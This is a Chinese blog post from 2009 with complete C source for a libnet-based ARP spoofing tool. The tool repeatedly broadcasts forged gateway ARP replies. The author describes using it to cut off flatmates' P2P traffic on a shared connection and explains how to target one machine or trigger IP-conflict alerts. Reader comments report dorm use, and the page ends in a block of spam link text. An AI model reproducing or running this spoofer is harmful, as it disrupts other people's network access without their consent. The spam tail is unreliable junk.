• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Heath's Blog

            There is no end, it is just the beginning! - A Game Developer's Notes

            Using libnet to send arp package

                把本子的系統(tǒng)換成OpenSuse11.1后,發(fā)現(xiàn)與別人合用1M帶寬幾乎不能訪問(wèn)網(wǎng)絡(luò),在多次聲明限制P2P下載速度無(wú)果后,想到了以前使用P2P Killer的經(jīng)驗(yàn),決定自己寫(xiě)一個(gè)發(fā)送arp偽造應(yīng)答包的程序。
                P2P Killer中文名為P2P終結(jié)者,其原理是監(jiān)聽(tīng)arp數(shù)據(jù)包,根據(jù)設(shè)定帶寬,利用一定的時(shí)間間隔算法發(fā)送偽造的arp應(yīng)答包。
                由于arp屬于鏈路層協(xié)議,如果利用原始套接字來(lái)做,估計(jì)半天時(shí)間完不成,所以搜索了一下,發(fā)現(xiàn)libnet是個(gè)比較成熟的網(wǎng)絡(luò)庫(kù)。libnet幾乎涵蓋了整個(gè)TCP/IP協(xié)議:


                使用libnet來(lái)構(gòu)造這么一個(gè)小應(yīng)用,應(yīng)該是小菜一碟。

                下面是source codes:

            /**
                A APR reply package sender

                @author heath(heath.luo@gmail.com)
                @date Jan. 17, 2009
                @version 0.01
            */


            #include 
            <stdio.h>
            #include 
            <libnet.h>

            #ifndef HRD_ALEN
            #define HRD_ALEN 6    ///< hardware address length
            #endif

            #ifndef PRO_ALEN
            #define PRO_ALEN 4    ///< protocol address format 
            #endif

            static u_char ucHdr_src[HRD_ALEN] = {0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};
            static u_char ucHdr_dst[HRD_ALEN] = {0xff , 0xff , 0xff , 0xff , 0xff , 0xff};    ///< broadcasting by default

            static u_char ucPro_src[PRO_ALEN] = {192 , 168 , 1 , 1};
            static u_char ucPro_dst[PRO_ALEN] = {192 , 168 , 1 , 2};

            void Usage();
            void ParseParams(int argc , char** argv);
            void TestParams();
            void SendPackage();

            int main(int argc , char** argv)
            {
                ParseParams(argc , argv);
                TestParams();
                SendPackage();
            }


            void Usage()
            {
                printf(
            "-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
            }


            void ParseParams(int argc , char** argv)
            {
                
            int c;
                u_char
            * cp;
                
            int i;
                u_char bError;

                
            while((c = getopt(argc , argv , "hd:m:i:")) != -1)
                
            {
                    
            switch(c)
                    
            {
                    
            case 'h':
                        Usage();
                        
            break;
                    
            case 'd':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_dst[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_dst[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'm':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_src[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_src[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'i':
                        bError 
            = 0;
                        
            for(i = 1; i <= PRO_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '.')))
                            
            {
                                
            *cp++ = 0;
                                ucPro_src[PRO_ALEN 
            - i] = (u_char)atoi(cp);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucPro_src[
            0= (u_char)atoi(optarg);
                        
            break;
                    
            default:
                        Usage();
                    }

                }

            }


            void TestParams()
            {
                printf(
            "======Parameters======\n");
                printf(
            "ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
                printf(
            "ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
                printf(
            "ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
                printf(
            "ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
                printf(
            "======End=====\n");
            }


            void SendPackage()
            {
                libnet_t
            * pLibnet = NULL;
                
            char strError[LIBNET_ERRBUF_SIZE];
                libnet_ptag_t ptArp 
            = 0;
                libnet_ptag_t ptEth 
            = 0;

                pLibnet 
            = libnet_init(LIBNET_LINK , "eth0" , strError);
                
            if(!pLibnet)
                
            {
                    printf(
            "Libnet Error in libnet_init:%s\n" , strError);
                    exit(
            -1);
                }


                ptArp 
            = libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP , 
                    HRD_ALEN , PRO_ALEN , 
                    ARPOP_REPLY , 
                    ucHdr_src , ucPro_src ,
                    ucHdr_dst , ucPro_dst ,
                    NULL , 
            0 ,
                    pLibnet ,
                    ptArp);
                
            if(ptArp < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_arp!\n");
                    exit(
            -1);
                }


                ptEth 
            = libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
                    ETHERTYPE_ARP , NULL , 
            0 , pLibnet , ptEth);
                
            if(ptEth < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_ethernet!\n");
                    exit(
            -1);
                }

                
                
            while(1)
            {
                
            if(libnet_write(pLibnet) < 0)
                
            {
                    printf(
            "Libnet Error in libnet_write!\n");
                    exit(
            -1);
                }

                sleep(
            5);
            }

                libnet_destroy(pLibnet);
            }


                由于ARP處于link layer,所以目標(biāo)協(xié)議地址(由ucPro_dst給出)是沒(méi)用的。對(duì)于ARP數(shù)據(jù)包格式的詳細(xì)說(shuō)明,可以參考《TCP-IP詳解卷1》第4章。
                該程序缺省情況下是偽造網(wǎng)關(guān)(192.168.1.1)的MAC地址廣播給網(wǎng)段內(nèi)所有機(jī)器。如果想針對(duì)特定機(jī)器發(fā)送,可以通過(guò)-d來(lái)指定其MAC地址:
                arphacker -d <目標(biāo)機(jī)MAC地址> -m <欲偽造的arp應(yīng)答發(fā)送方MAC地址> -i <欲偽造的arp應(yīng)答發(fā)送方IP地址>
                利用ping+arp命令獲得對(duì)方的MAC地址后,每隔一定時(shí)間發(fā)送偽造網(wǎng)關(guān)的MAC地址,可使對(duì)方的大量P2P數(shù)據(jù)包找不到北,從而給自己留出帶寬。
                如果你希望給予對(duì)方提示,讓其彈出“IP地址沖突”氣球(windows平臺(tái)有效),可以將-m后的參數(shù)改為一個(gè)與目標(biāo)機(jī)不一樣的MAC地址,而-i給出目標(biāo)機(jī)的IP。
                下圖為在虛擬機(jī)上運(yùn)行的截圖:


            NOTE: 本人開(kāi)發(fā)此程序?qū)崒俦槐茻o(wú)奈,在連打開(kāi)網(wǎng)頁(yè)、上QQ的基本權(quán)力被剝奪之后,決定拿起自己手中之劍,維護(hù)自己的權(quán)益。昨天晚上,使用了一下,可以上網(wǎng)了,這也算是寫(xiě)代碼帶來(lái)的樂(lè)趣吧。

            參考文獻(xiàn):
            [1] libnet. http://www.packetfactory.net/libnet/

            posted on 2009-01-18 16:28 Heath 閱讀(2081) 評(píng)論(4)  編輯 收藏 引用 所屬分類: Network

            Feedback

            # re: Using libnet to send arp package 2009-01-19 09:23 J.A.M

            代碼看不懂,
            對(duì)網(wǎng)絡(luò)不了解,學(xué)習(xí)...  回復(fù)  更多評(píng)論   

            # re: Using libnet to send arp package 2009-05-17 16:45 asdrtf

            很好用,我用宿舍的電腦試了一下,不錯(cuò),包括虛擬機(jī)在內(nèi)都有!  回復(fù)  更多評(píng)論   

            # re: Using libnet to send arp package 2009-07-30 11:22 evoup

            是ARP攻擊吧,這都被你想到了,用此法攻擊網(wǎng)上鄰居,汗~  回復(fù)  更多評(píng)論   

            # re: Using libnet to send arp package 2009-12-05 21:08 parkerzhu

            好文,學(xué)習(xí)了,有空GUI化一下^_^  回復(fù)  更多評(píng)論   


            只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


            99久久国产精品免费一区二区| 精品免费tv久久久久久久| 精品熟女少妇av免费久久| 99999久久久久久亚洲| 99久久精品久久久久久清纯 | 国产精品久久久久影院色| 国产99久久精品一区二区| 久久免费精品视频| 国产免费久久精品99re丫y| 国产午夜久久影院| 亚洲国产成人久久综合一区77| 久久人搡人人玩人妻精品首页| 久久久久久久91精品免费观看| 日本欧美久久久久免费播放网| 久久久久久国产精品免费免费| 精品国产乱码久久久久久人妻| 久久er国产精品免费观看8| 色综合久久久久综合体桃花网 | 精品久久久久久国产潘金莲| 久久影院亚洲一区| 亚洲国产精品久久久久婷婷软件 | 99久久国产主播综合精品| 久久国产色av免费看| 久久久久九九精品影院| 久久线看观看精品香蕉国产| 久久精品国产亚洲AV无码麻豆| 一本色道久久88综合日韩精品 | 久久天天躁狠狠躁夜夜网站 | 久久精品国产亚洲综合色| 久久久久亚洲av成人网人人软件 | 国产精品一久久香蕉国产线看| 婷婷久久综合| 久久综合五月丁香久久激情| 国产成人精品久久亚洲高清不卡| 九九久久自然熟的香蕉图片| 亚洲中文字幕久久精品无码喷水| 综合久久一区二区三区 | 亚洲人成无码久久电影网站| 久久久久国产一区二区三区| 欧美粉嫩小泬久久久久久久 | 一本久久知道综合久久|